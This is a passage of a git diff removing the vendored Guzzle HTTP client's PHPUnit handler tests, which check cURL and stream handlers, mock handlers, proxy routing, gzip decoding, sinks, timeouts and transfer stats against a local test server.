Psr7\Request('GET', Server::$url); - $response = $handler($request, ['decode_content' => false]); - $response = $response->wait(); - $sent = Server::received()[0]; - self::assertFalse($sent->hasHeader('Accept-Encoding')); - self::assertEquals($content, (string) $response->getBody()); - } - - public function testProtocolVersion() - { - Server::flush(); - Server::enqueue([new Psr7\Response()]); - $a = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('GET', Server::$url, [], null, '1.0'); - $a($request, []); - self::assertEquals(CURL_HTTP_VERSION_1_0, $_SERVER['_curl'][CURLOPT_HTTP_VERSION]); - } - - public function testSavesToStream() - { - $stream = fopen('php://memory', 'r+'); - $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('GET', Server::$url); - $response = $handler($request, [ - 'decode_content' => true, - 'sink' => $stream, - ]); - $response->wait(); - rewind($stream); - self::assertEquals('test', stream_get_contents($stream)); - } - - public function testSavesToGuzzleStream() - { - $stream = Psr7\stream_for(); - $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('GET', Server::$url); - $response = $handler($request, [ - 'decode_content' => true, - 'sink' => $stream, - ]); - $response->wait(); - self::assertEquals('test', (string) $stream); - } - - public function testSavesToFileOnDisk() - { - $tmpfile = tempnam(sys_get_temp_dir(), 'testfile'); - $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('GET', Server::$url); - $response = $handler($request, [ - 'decode_content' => true, - 'sink' => $tmpfile, - ]); - $response->wait(); - self::assertStringEqualsFile($tmpfile, 'test'); - unlink($tmpfile); - } - - public function testDoesNotAddMultipleContentLengthHeaders() - { - $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('PUT', Server::$url, ['Content-Length' => 3], 'foo'); - $response = $handler($request, []); - $response->wait(); - $sent = Server::received()[0]; - self::assertEquals(3, $sent->getHeaderLine('Content-Length')); - self::assertFalse($sent->hasHeader('Transfer-Encoding')); - self::assertEquals('foo', (string) $sent->getBody()); - } - - public function testSendsPostWithNoBodyOrDefaultContentType() - { - Server::flush(); - Server::enqueue([new Psr7\Response()]); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('POST', Server::$url); - $response = $handler($request, []); - $response->wait(); - $received = Server::received()[0]; - self::assertEquals('POST', $received->getMethod()); - self::assertFalse($received->hasHeader('content-type')); - self::assertSame('0', $received->getHeaderLine('content-length')); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - * @expectedExceptionMessage but attempting to rewind the request body failed - */ - public function testFailsWhenCannotRewindRetryAfterNoResponse() - { - $factory = new Handler\CurlFactory(1); - $stream = Psr7\stream_for('abc'); - $stream->read(1); - $stream = new Psr7\NoSeekStream($stream); - $request = new Psr7\Request('PUT', Server::$url, [], $stream); - $fn = function ($request, $options) use (&$fn, $factory) { - $easy = $factory->create($request, $options); - return Handler\CurlFactory::finish($fn, $easy, $factory); - }; - $fn($request, [])->wait(); - } - - public function testRetriesWhenBodyCanBeRewound() - { - $callHandler = $called = false; - - $fn = function ($r, $options) use (&$callHandler) { - $callHandler = true; - return \GuzzleHttp\Promise\promise_for(new Psr7\Response()); - }; - - $bd = Psr7\FnStream::decorate(Psr7\stream_for('test'), [ - 'tell' => function () { - return 1; - }, - 'rewind' => function () use (&$called) { - $called = true; - } - ]); - - $factory = new Handler\CurlFactory(1); - $req = new Psr7\Request('PUT', Server::$url, [], $bd); - $easy = $factory->create($req, []); - $res = Handler\CurlFactory::finish($fn, $easy, $factory); - $res = $res->wait(); - self::assertTrue($callHandler); - self::assertTrue($called); - self::assertEquals('200', $res->getStatusCode()); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - * @expectedExceptionMessage The cURL request was retried 3 times - */ - public function testFailsWhenRetryMoreThanThreeTimes() - { - $factory = new Handler\CurlFactory(1); - $call = 0; - $fn = function ($request, $options) use (&$mock, &$call, $factory) { - $call++; - $easy = $factory->create($request, $options); - return Handler\CurlFactory::finish($mock, $easy, $factory); - }; - $mock = new Handler\MockHandler([$fn, $fn, $fn]); - $p = $mock(new Psr7\Request('PUT', Server::$url, [], 'test'), []); - $p->wait(false); - self::assertEquals(3, $call); - $p->wait(true); - } - - public function testHandles100Continue() - { - Server::flush(); - Server::enqueue([ - new Psr7\Response(200, ['Test' => 'Hello', 'Content-Length' => 4], 'test'), - ]); - $request = new Psr7\Request('PUT', Server::$url, [ - 'Expect' => '100-Continue' - ], 'test'); - $handler = new Handler\CurlMultiHandler(); - $response = $handler($request, [])->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('Hello', $response->getHeaderLine('Test')); - self::assertSame('4', $response->getHeaderLine('Content-Length')); - self::assertSame('test', (string) $response->getBody()); - } - - /** - * @expectedException \GuzzleHttp\Exception\ConnectException - */ - public function testCreatesConnectException() - { - $m = new \ReflectionMethod(CurlFactory::class, 'finishError'); - $m->setAccessible(true); - $factory = new Handler\CurlFactory(1); - $easy = $factory->create(new Psr7\Request('GET', Server::$url), []); - $easy->errno = CURLE_COULDNT_CONNECT; - $response = $m->invoke( - null, - function () { - }, - $easy, - $factory - ); - $response->wait(); - } - - public function testAddsTimeouts() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), [ - 'timeout' => 0.1, - 'connect_timeout' => 0.2 - ]); - self::assertEquals(100, $_SERVER['_curl'][CURLOPT_TIMEOUT_MS]); - self::assertEquals(200, $_SERVER['_curl'][CURLOPT_CONNECTTIMEOUT_MS]); - } - - public function testAddsStreamingBody() - { - $f = new Handler\CurlFactory(3); - $bd = Psr7\FnStream::decorate(Psr7\stream_for('foo'), [ - 'getSize' => function () { - return null; - } - ]); - $request = new Psr7\Request('PUT', Server::$url, [], $bd); - $f->create($request, []); - self::assertEquals(1, $_SERVER['_curl'][CURLOPT_UPLOAD]); - self::assertInternalType('callable', $_SERVER['_curl'][CURLOPT_READFUNCTION]); - } - - /** - * @expectedException \RuntimeException - * @expectedExceptionMessage Directory /does/not/exist/so does not exist for sink value of /does/not/exist/so/error.txt - */ - public function testEnsuresDirExistsBeforeThrowingWarning() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), [ - 'sink' => '/does/not/exist/so/error.txt' - ]); - } - - public function testClosesIdleHandles() - { - $f = new Handler\CurlFactory(3); - $req = new Psr7\Request('GET', Server::$url); - $easy = $f->create($req, []); - $h1 = $easy->handle; - $f->release($easy); - self::assertCount(1, self::readAttribute($f, 'handles')); - $easy = $f->create($req, []); - self::assertSame($easy->handle, $h1); - $easy2 = $f->create($req, []); - $easy3 = $f->create($req, []); - $easy4 = $f->create($req, []); - $f->release($easy); - self::assertCount(1, self::readAttribute($f, 'handles')); - $f->release($easy2); - self::assertCount(2, self::readAttribute($f, 'handles')); - $f->release($easy3); - self::assertCount(3, self::readAttribute($f, 'handles')); - $f->release($easy4); - self::assertCount(3, self::readAttribute($f, 'handles')); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEnsuresOnHeadersIsCallable() - { - $req = new Psr7\Request('GET', Server::$url); - $handler = new Handler\CurlHandler(); - $handler($req, ['on_headers' => 'error!']); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - * @expectedExceptionMessage An error was encountered during the on_headers event - * @expectedExceptionMessage test - */ - public function testRejectsPromiseWhenOnHeadersFails() - { - Server::flush(); - Server::enqueue([ - new Psr7\Response(200, ['X-Foo' => 'bar'], 'abc 123') - ]); - $req = new Psr7\Request('GET', Server::$url); - $handler = new Handler\CurlHandler(); - $promise = $handler($req, [ - 'on_headers' => function () { - throw new \Exception('test'); - } - ]); - $promise->wait(); - } - - public function testSuccessfullyCallsOnHeadersBeforeWritingToSink() - { - Server::flush(); - Server::enqueue([ - new Psr7\Response(200, ['X-Foo' => 'bar'], 'abc 123') - ]); - $req = new Psr7\Request('GET', Server::$url); - $got = null; - - $stream = Psr7\stream_for(); - $stream = Psr7\FnStream::decorate($stream, [ - 'write' => function ($data) use ($stream, &$got) { - self::assertNotNull($got); - return $stream->write($data); - } - ]); - - $handler = new Handler\CurlHandler(); - $promise = $handler($req, [ - 'sink' => $stream, - 'on_headers' => function (ResponseInterface $res) use (&$got) { - $got = $res; - self::assertEquals('bar', $res->getHeaderLine('X-Foo')); - } - ]); - - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('bar', $response->getHeaderLine('X-Foo')); - self::assertSame('abc 123', (string) $response->getBody()); - } - - public function testInvokesOnStatsOnSuccess() - { - Server::flush(); - Server::enqueue([new Psr7\Response(200)]); - $req = new Psr7\Request('GET', Server::$url); - $gotStats = null; - $handler = new Handler\CurlHandler(); - $promise = $handler($req, [ - 'on_stats' => function (TransferStats $stats) use (&$gotStats) { - $gotStats = $stats; - } - ]); - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame(200, $gotStats->getResponse()->getStatusCode()); - self::assertSame( - Server::$url, - (string) $gotStats->getEffectiveUri() - ); - self::assertSame( - Server::$url, - (string) $gotStats->getRequest()->getUri() - ); - self::assertGreaterThan(0, $gotStats->getTransferTime()); - self::assertArrayHasKey('appconnect_time', $gotStats->getHandlerStats()); - } - - public function testInvokesOnStatsOnError() - { - $req = new Psr7\Request('GET', 'http://127.0.0.1:123'); - $gotStats = null; - $handler = new Handler\CurlHandler(); - $promise = $handler($req, [ - 'connect_timeout' => 0.001, - 'timeout' => 0.001, - 'on_stats' => function (TransferStats $stats) use (&$gotStats) { - $gotStats = $stats; - } - ]); - $promise->wait(false); - self::assertFalse($gotStats->hasResponse()); - self::assertSame( - 'http://127.0.0.1:123', - (string) $gotStats->getEffectiveUri() - ); - self::assertSame( - 'http://127.0.0.1:123', - (string) $gotStats->getRequest()->getUri() - ); - self::assertInternalType('float', $gotStats->getTransferTime()); - self::assertInternalType('int', $gotStats->getHandlerErrorData()); - self::assertArrayHasKey('appconnect_time', $gotStats->getHandlerStats()); - } - - public function testRewindsBodyIfPossible() - { - $body = Psr7\stream_for(str_repeat('x', 1024 * 1024 * 2)); - $body->seek(1024 * 1024); - self::assertSame(1024 * 1024, $body->tell()); - - $req = new Psr7\Request('POST', 'https://www.example.com', [ - 'Content-Length' => 1024 * 1024 * 2, - ], $body); - $factory = new CurlFactory(1); - $factory->create($req, []); - - self::assertSame(0, $body->tell()); - } - - public function testDoesNotRewindUnseekableBody() - { - $body = Psr7\stream_for(str_repeat('x', 1024 * 1024 * 2)); - $body->seek(1024 * 1024); - $body = new Psr7\NoSeekStream($body); - self::assertSame(1024 * 1024, $body->tell()); - - $req = new Psr7\Request('POST', 'https://www.example.com', [ - 'Content-Length' => 1024 * 1024, - ], $body); - $factory = new CurlFactory(1); - $factory->create($req, []); - - self::assertSame(1024 * 1024, $body->tell()); - } - - public function testRelease() - { - $factory = new CurlFactory(1); - $easyHandle = new EasyHandle(); - $easyHandle->handle = curl_init(); - - self::assertEmpty($factory->release($easyHandle)); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Handler/CurlHandlerTest.php b/vendor/guzzlehttp/guzzle/tests/Handler/CurlHandlerTest.php deleted file mode 100644 index 9e7dc86887..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Handler/CurlHandlerTest.php +++ /dev/null @@ -1,87 +0,0 @@ - 0.001, 'connect_timeout' => 0.001])->wait(); - } - - public function testReusesHandles() - { - Server::flush(); - $response = new response(200); - Server::enqueue([$response, $response]); - $a = new CurlHandler(); - $request = new Request('GET', Server::$url); - self::assertInstanceOf('GuzzleHttp\Promise\FulfilledPromise', $a($request, [])); - self::assertInstanceOf('GuzzleHttp\Promise\FulfilledPromise', $a($request, [])); - } - - public function testDoesSleep() - { - $response = new response(200); - Server::enqueue([$response]); - $a = new CurlHandler(); - $request = new Request('GET', Server::$url); - $s = Utils::currentTime(); - $a($request, ['delay' => 0.1])->wait(); - self::assertGreaterThan(0.0001, Utils::currentTime() - $s); - } - - public function testCreatesCurlErrorsWithContext() - { - $handler = new CurlHandler(); - $request = new Request('GET', 'http://localhost:123'); - $called = false; - $p = $handler($request, ['timeout' => 0.001, 'connect_timeout' => 0.001]) - ->otherwise(function (ConnectException $e) use (&$called) { - $called = true; - self::assertArrayHasKey('errno', $e->getHandlerContext()); - }); - $p->wait(); - self::assertTrue($called); - } - - public function testUsesContentLengthWhenOverInMemorySize() - { - Server::flush(); - Server::enqueue([new Response()]); - $stream = Psr7\stream_for(str_repeat('.', 1000000)); - $handler = new CurlHandler(); - $request = new Request( - 'PUT', - Server::$url, - ['Content-Length' => 1000000], - $stream - ); - $handler($request, [])->wait(); - $received = Server::received()[0]; - self::assertEquals(1000000, $received->getHeaderLine('Content-Length')); - self::assertFalse($received->hasHeader('Transfer-Encoding')); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Handler/CurlMultiHandlerTest.php b/vendor/guzzlehttp/guzzle/tests/Handler/CurlMultiHandlerTest.php deleted file mode 100644 index ab0ce233fb..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Handler/CurlMultiHandlerTest.php +++ /dev/null @@ -1,123 +0,0 @@ - [ - CURLMOPT_MAXCONNECTS => 5, - ]]); - $request = new Request('GET', Server::$url); - $a($request, []); - self::assertEquals(5, $_SERVER['_curl_multi'][CURLMOPT_MAXCONNECTS]); - } - - public function testSendsRequest() - { - Server::enqueue([new Response()]); - $a = new CurlMultiHandler(); - $request = new Request('GET', Server::$url); - $response = $a($request, [])->wait(); - self::assertSame(200, $response->getStatusCode()); - } - - /** - * @expectedException \GuzzleHttp\Exception\ConnectException - * @expectedExceptionMessage cURL error - */ - public function testCreatesExceptions() - { - $a = new CurlMultiHandler(); - $a(new Request('GET', 'http://localhost:123'), [])->wait(); - } - - public function testCanSetSelectTimeout() - { - $a = new CurlMultiHandler(['select_timeout' => 2]); - self::assertEquals(2, self::readAttribute($a, 'selectTimeout')); - } - - public function testCanCancel() - { - Server::flush(); - $response = new Response(200); - Server::enqueue(array_fill_keys(range(0, 10), $response)); - $a = new CurlMultiHandler(); - $responses = []; - for ($i = 0; $i < 10; $i++) { - $response = $a(new Request('GET', Server::$url), []); - $response->cancel(); - $responses[] = $response; - } - - foreach ($responses as $r) { - self::assertSame('rejected', $response->getState()); - } - } - - public function testCannotCancelFinished() - { - Server::flush(); - Server::enqueue([new Response(200)]); - $a = new CurlMultiHandler(); - $response = $a(new Request('GET', Server::$url), []); - $response->wait(); - $response->cancel(); - self::assertSame('fulfilled', $response->getState()); - } - - public function testDelaysConcurrently() - { - Server::flush(); - Server::enqueue([new Response()]); - $a = new CurlMultiHandler(); - $expected = Utils::currentTime() + (100 / 1000); - $response = $a(new Request('GET', Server::$url), ['delay' => 100]); - $response->wait(); - self::assertGreaterThanOrEqual($expected, Utils::currentTime()); - } - - public function testUsesTimeoutEnvironmentVariables() - { - $a = new CurlMultiHandler(); - - //default if no options are given and no environment variable is set - self::assertEquals(1, self::readAttribute($a, 'selectTimeout')); - - putenv("GUZZLE_CURL_SELECT_TIMEOUT=3"); - $a = new CurlMultiHandler(); - $selectTimeout = getenv('GUZZLE_CURL_SELECT_TIMEOUT'); - //Handler reads from the environment if no options are given - self::assertEquals($selectTimeout, self::readAttribute($a, 'selectTimeout')); - } - - /** - * @expectedException \BadMethodCallException - */ - public function throwsWhenAccessingInvalidProperty() - { - $h = new CurlMultiHandler(); - $h->foo; - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Handler/EasyHandleTest.php b/vendor/guzzlehttp/guzzle/tests/Handler/EasyHandleTest.php deleted file mode 100644 index e33e64318f..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Handler/EasyHandleTest.php +++ /dev/null @@ -1,23 +0,0 @@ -handle); - $easy->handle; - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Handler/MockHandlerTest.php b/vendor/guzzlehttp/guzzle/tests/Handler/MockHandlerTest.php deleted file mode 100644 index 6a9a60e8a9..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Handler/MockHandlerTest.php +++ /dev/null @@ -1,261 +0,0 @@ -wait()); - } - - public function testIsCountable() - { - $res = new Response(); - $mock = new MockHandler([$res, $res]); - self::assertCount(2, $mock); - } - - public function testEmptyHandlerIsCountable() - { - self::assertCount(0, new MockHandler()); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEnsuresEachAppendIsValid() - { - $mock = new MockHandler(['a']); - $request = new Request('GET', 'http://example.com'); - $mock($request, []); - } - - public function testCanQueueExceptions() - { - $e = new \Exception('a'); - $mock = new MockHandler([$e]); - $request = new Request('GET', 'http://example.com'); - $p = $mock($request, []); - try { - $p->wait(); - self::fail(); - } catch (\Exception $e2) { - self::assertSame($e, $e2); - } - } - - public function testCanGetLastRequestAndOptions() - { - $res = new Response(); - $mock = new MockHandler([$res]); - $request = new Request('GET', 'http://example.com'); - $mock($request, ['foo' => 'bar']); - self::assertSame($request, $mock->getLastRequest()); - self::assertSame(['foo' => 'bar'], $mock->getLastOptions()); - } - - public function testSinkFilename() - { - $filename = sys_get_temp_dir() . '/mock_test_' . uniqid(); - $res = new Response(200, [], 'TEST CONTENT'); - $mock = new MockHandler([$res]); - $request = new Request('GET', '/'); - $p = $mock($request, ['sink' => $filename]); - $p->wait(); - - self::assertFileExists($filename); - self::assertStringEqualsFile($filename, 'TEST CONTENT'); - - unlink($filename); - } - - public function testSinkResource() - { - $file = tmpfile(); - $meta = stream_get_meta_data($file); - $res = new Response(200, [], 'TEST CONTENT'); - $mock = new MockHandler([$res]); - $request = new Request('GET', '/'); - $p = $mock($request, ['sink' => $file]); - $p->wait(); - - self::assertFileExists($meta['uri']); - self::assertStringEqualsFile($meta['uri'], 'TEST CONTENT'); - } - - public function testSinkStream() - { - $stream = new \GuzzleHttp\Psr7\Stream(tmpfile()); - $res = new Response(200, [], 'TEST CONTENT'); - $mock = new MockHandler([$res]); - $request = new Request('GET', '/'); - $p = $mock($request, ['sink' => $stream]); - $p->wait(); - - self::assertFileExists($stream->getMetadata('uri')); - self::assertStringEqualsFile($stream->getMetadata('uri'), 'TEST CONTENT'); - } - - public function testCanEnqueueCallables() - { - $r = new Response(); - $fn = function ($req, $o) use ($r) { - return $r; - }; - $mock = new MockHandler([$fn]); - $request = new Request('GET', 'http://example.com'); - $p = $mock($request, ['foo' => 'bar']); - self::assertSame($r, $p->wait()); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEnsuresOnHeadersIsCallable() - { - $res = new Response(); - $mock = new MockHandler([$res]); - $request = new Request('GET', 'http://example.com'); - $mock($request, ['on_headers' => 'error!']); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - * @expectedExceptionMessage An error was encountered during the on_headers event - * @expectedExceptionMessage test - */ - public function testRejectsPromiseWhenOnHeadersFails() - { - $res = new Response(); - $mock = new MockHandler([$res]); - $request = new Request('GET', 'http://example.com'); - $promise = $mock($request, [ - 'on_headers' => function () { - throw new \Exception('test'); - } - ]); - - $promise->wait(); - } - public function testInvokesOnFulfilled() - { - $res = new Response(); - $mock = new MockHandler([$res], function ($v) use (&$c) { - $c = $v; - }); - $request = new Request('GET', 'http://example.com'); - $mock($request, [])->wait(); - self::assertSame($res, $c); - } - - public function testInvokesOnRejected() - { - $e = new \Exception('a'); - $c = null; - $mock = new MockHandler([$e], null, function ($v) use (&$c) { - $c = $v; - }); - $request = new Request('GET', 'http://example.com'); - $mock($request, [])->wait(false); - self::assertSame($e, $c); - } - - /** - * @expectedException \OutOfBoundsException - */ - public function testThrowsWhenNoMoreResponses() - { - $mock = new MockHandler(); - $request = new Request('GET', 'http://example.com'); - $mock($request, []); - } - - /** - * @expectedException \GuzzleHttp\Exception\BadResponseException - */ - public function testCanCreateWithDefaultMiddleware() - { - $r = new Response(500); - $mock = MockHandler::createWithMiddleware([$r]); - $request = new Request('GET', 'http://example.com'); - $mock($request, ['http_errors' => true])->wait(); - } - - public function testInvokesOnStatsFunctionForResponse() - { - $res = new Response(); - $mock = new MockHandler([$res]); - $request = new Request('GET', 'http://example.com'); - /** @var TransferStats|null $stats */ - $stats = null; - $onStats = function (TransferStats $s) use (&$stats) { - $stats = $s; - }; - $p = $mock($request, ['on_stats' => $onStats]); - $p->wait(); - self::assertSame($res, $stats->getResponse()); - self::assertSame($request, $stats->getRequest()); - } - - public function testInvokesOnStatsFunctionForError() - { - $e = new \Exception('a'); - $c = null; - $mock = new MockHandler([$e], null, function ($v) use (&$c) { - $c = $v; - }); - $request = new Request('GET', 'http://example.com'); - - /** @var TransferStats|null $stats */ - $stats = null; - $onStats = function (TransferStats $s) use (&$stats) { - $stats = $s; - }; - $mock($request, ['on_stats' => $onStats])->wait(false); - self::assertSame($e, $stats->getHandlerErrorData()); - self::assertNull($stats->getResponse()); - self::assertSame($request, $stats->getRequest()); - } - - public function testTransferTime() - { - $e = new \Exception('a'); - $c = null; - $mock = new MockHandler([$e], null, function ($v) use (&$c) { - $c = $v; - }); - $request = new Request('GET', 'http://example.com'); - $stats = null; - $onStats = function (TransferStats $s) use (&$stats) { - $stats = $s; - }; - $mock($request, [ 'on_stats' => $onStats, 'transfer_time' => 0.4 ])->wait(false); - self::assertEquals(0.4, $stats->getTransferTime()); - } - - public function testResetQueue() - { - $mock = new MockHandler([new Response(200), new Response(204)]); - self::assertCount(2, $mock); - - $mock->reset(); - self::assertEmpty($mock); - - $mock->append(new Response(500)); - self::assertCount(1, $mock); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Handler/ProxyTest.php b/vendor/guzzlehttp/guzzle/tests/Handler/ProxyTest.php deleted file mode 100644 index d505e6b4db..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Handler/ProxyTest.php +++ /dev/null @@ -1,74 +0,0 @@ - true]); - self::assertNull($a); - self::assertNotNull($b); - } - - public function testSendsToStreaming() - { - $a = $b = null; - $m1 = new MockHandler([function ($v) use (&$a) { - $a = $v; - }]); - $m2 = new MockHandler([function ($v) use (&$b) { - $b = $v; - }]); - $h = Proxy::wrapStreaming($m1, $m2); - $h(new Request('GET', 'http://foo.com'), []); - self::assertNotNull($a); - self::assertNull($b); - } - - public function testSendsToNonStreaming() - { - $a = $b = null; - $m1 = new MockHandler([function ($v) use (&$a) { - $a = $v; - }]); - $m2 = new MockHandler([function ($v) use (&$b) { - $b = $v; - }]); - $h = Proxy::wrapStreaming($m1, $m2); - $h(new Request('GET', 'http://foo.com'), ['stream' => true]); - self::assertNull($a); - self::assertNotNull($b); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Handler/StreamHandlerTest.php b/vendor/guzzlehttp/guzzle/tests/Handler/StreamHandlerTest.php deleted file mode 100644 index 6c93b0f911..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Handler/StreamHandlerTest.php +++ /dev/null @@ -1,689 +0,0 @@ - 'Bar', - 'Content-Length' => 8, - ], 'hi there') - ]); - } - - public function testReturnsResponseForSuccessfulRequest() - { - $this->queueRes(); - $handler = new StreamHandler(); - $response = $handler( - new Request('GET', Server::$url, ['Foo' => 'Bar']), - [] - )->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('Bar', $response->getHeaderLine('Foo')); - self::assertSame('8', $response->getHeaderLine('Content-Length')); - self::assertSame('hi there', (string) $response->getBody()); - $sent = Server::received()[0]; - self::assertSame('GET', $sent->getMethod()); - self::assertSame('/', $sent->getUri()->getPath()); - self::assertSame('127.0.0.1:8126', $sent->getHeaderLine('Host')); - self::assertSame('Bar', $sent->getHeaderLine('foo')); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - */ - public function testAddsErrorToResponse() - { - $handler = new StreamHandler(); - $handler( - new Request('GET', 'http://localhost:123'), - ['timeout' => 0.01] - )->wait(); - } - - public function testStreamAttributeKeepsStreamOpen() - { - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request( - 'PUT', - Server::$url . 'foo?baz=bar', - ['Foo' => 'Bar'], - 'test' - ); - $response = $handler($request, ['stream' => true])->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('8', $response->getHeaderLine('Content-Length')); - $body = $response->getBody(); - $stream = $body->detach(); - self::assertInternalType('resource', $stream); - self::assertSame('http', stream_get_meta_data($stream)['wrapper_type']); - self::assertSame('hi there', stream_get_contents($stream)); - fclose($stream); - $sent = Server::received()[0]; - self::assertSame('PUT', $sent->getMethod()); - self::assertSame('http://127.0.0.1:8126/foo?baz=bar', (string) $sent->getUri()); - self::assertSame('Bar', $sent->getHeaderLine('Foo')); - self::assertSame('test', (string) $sent->getBody()); - } - - public function testDrainsResponseIntoTempStream() - { - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, [])->wait(); - $body = $response->getBody(); - $stream = $body->detach(); - self::assertSame('php://temp', stream_get_meta_data($stream)['uri']); - self::assertSame('hi', fread($stream, 2)); - fclose($stream); - } - - public function testDrainsResponseIntoSaveToBody() - { - $r = fopen('php://temp', 'r+'); - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, ['sink' => $r])->wait(); - $body = $response->getBody()->detach(); - self::assertSame('php://temp', stream_get_meta_data($body)['uri']); - self::assertSame('hi', fread($body, 2)); - self::assertSame(' there', stream_get_contents($r)); - fclose($r); - } - - public function testDrainsResponseIntoSaveToBodyAtPath() - { - $tmpfname = tempnam('/tmp', 'save_to_path'); - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, ['sink' => $tmpfname])->wait(); - $body = $response->getBody(); - self::assertSame($tmpfname, $body->getMetadata('uri')); - self::assertSame('hi', $body->read(2)); - $body->close(); - unlink($tmpfname); - } - - public function testDrainsResponseIntoSaveToBodyAtNonExistentPath() - { - $tmpfname = tempnam('/tmp', 'save_to_path'); - unlink($tmpfname); - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, ['sink' => $tmpfname])->wait(); - $body = $response->getBody(); - self::assertSame($tmpfname, $body->getMetadata('uri')); - self::assertSame('hi', $body->read(2)); - $body->close(); - unlink($tmpfname); - } - - public function testDrainsResponseAndReadsOnlyContentLengthBytes() - { - Server::flush(); - Server::enqueue([ - new Response(200, [ - 'Foo' => 'Bar', - 'Content-Length' => 8, - ], 'hi there... This has way too much data!') - ]); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, [])->wait(); - $body = $response->getBody(); - $stream = $body->detach(); - self::assertSame('hi there', stream_get_contents($stream)); - fclose($stream); - } - - public function testDoesNotDrainWhenHeadRequest() - { - Server::flush(); - // Say the content-length is 8, but return no response. - Server::enqueue([ - new Response(200, [ - 'Foo' => 'Bar', - 'Content-Length' => 8, - ], '') - ]); - $handler = new StreamHandler(); - $request = new Request('HEAD', Server::$url); - $response = $handler($request, [])->wait(); - $body = $response->getBody(); - $stream = $body->detach(); - self::assertSame('', stream_get_contents($stream)); - fclose($stream); - } - - public function testAutomaticallyDecompressGzip() - { - Server::flush(); - $content = gzencode('test'); - Server::enqueue([ - new Response(200, [ - 'Content-Encoding' => 'gzip', - 'Content-Length' => strlen($content), - ], $content) - ]); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, ['decode_content' => true])->wait(); - self::assertSame('test', (string) $response->getBody()); - self::assertFalse($response->hasHeader('content-encoding')); - self::assertTrue(!$response->hasHeader('content-length') || $response->getHeaderLine('content-length') == $response->getBody()->getSize()); - } - - public function testReportsOriginalSizeAndContentEncodingAfterDecoding() - { - Server::flush(); - $content = gzencode('test'); - Server::enqueue([ - new Response(200, [ - 'Content-Encoding' => 'gzip', - 'Content-Length' => strlen($content), - ], $content) - ]); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, ['decode_content' => true])->wait(); - - self::assertSame( - 'gzip', - $response->getHeaderLine('x-encoded-content-encoding') - ); - self::assertSame( - strlen($content), - (int) $response->getHeaderLine('x-encoded-content-length') - ); - } - - public function testDoesNotForceGzipDecode() - { - Server::flush(); - $content = gzencode('test'); - Server::enqueue([ - new Response(200, [ - 'Content-Encoding' => 'gzip', - 'Content-Length' => strlen($content), - ], $content) - ]); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, ['decode_content' => false])->wait(); - self::assertSame($content, (string) $response->getBody()); - self::assertSame('gzip', $response->getHeaderLine('content-encoding')); - self::assertEquals(strlen($content), $response->getHeaderLine('content-length')); - } - - public function testProtocolVersion() - { - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url, [], null, '1.0'); - $handler($request, []); - self::assertSame('1.0', Server::received()[0]->getProtocolVersion()); - } - - protected function getSendResult(array $opts) - { - $this->queueRes(); - $handler = new StreamHandler(); - $opts['stream'] = true; - $request = new Request('GET', Server::$url); - return $handler($request, $opts)->wait(); - } - - /** - * @expectedException \GuzzleHttp\Exception\ConnectException - * @expectedExceptionMessage Connection refused - */ - public function testAddsProxy() - { - $this->getSendResult(['proxy' => '127.0.0.1:8125']); - } - - public function testAddsProxyByProtocol() - { - $url = str_replace('http', 'tcp', Server::$url); - // Workaround until #1823 is fixed properly - $url = rtrim($url, '/'); - $res = $this->getSendResult(['proxy' => ['http' => $url]]); - $opts = stream_context_get_options($res->getBody()->detach()); - self::assertSame($url, $opts['http']['proxy']); - } - - public function testAddsProxyButHonorsNoProxy() - { - $url = str_replace('http', 'tcp', Server::$url); - $res = $this->getSendResult(['proxy' => [ - 'http' => $url, - 'no' => ['*'] - ]]); - $opts = stream_context_get_options($res->getBody()->detach()); - 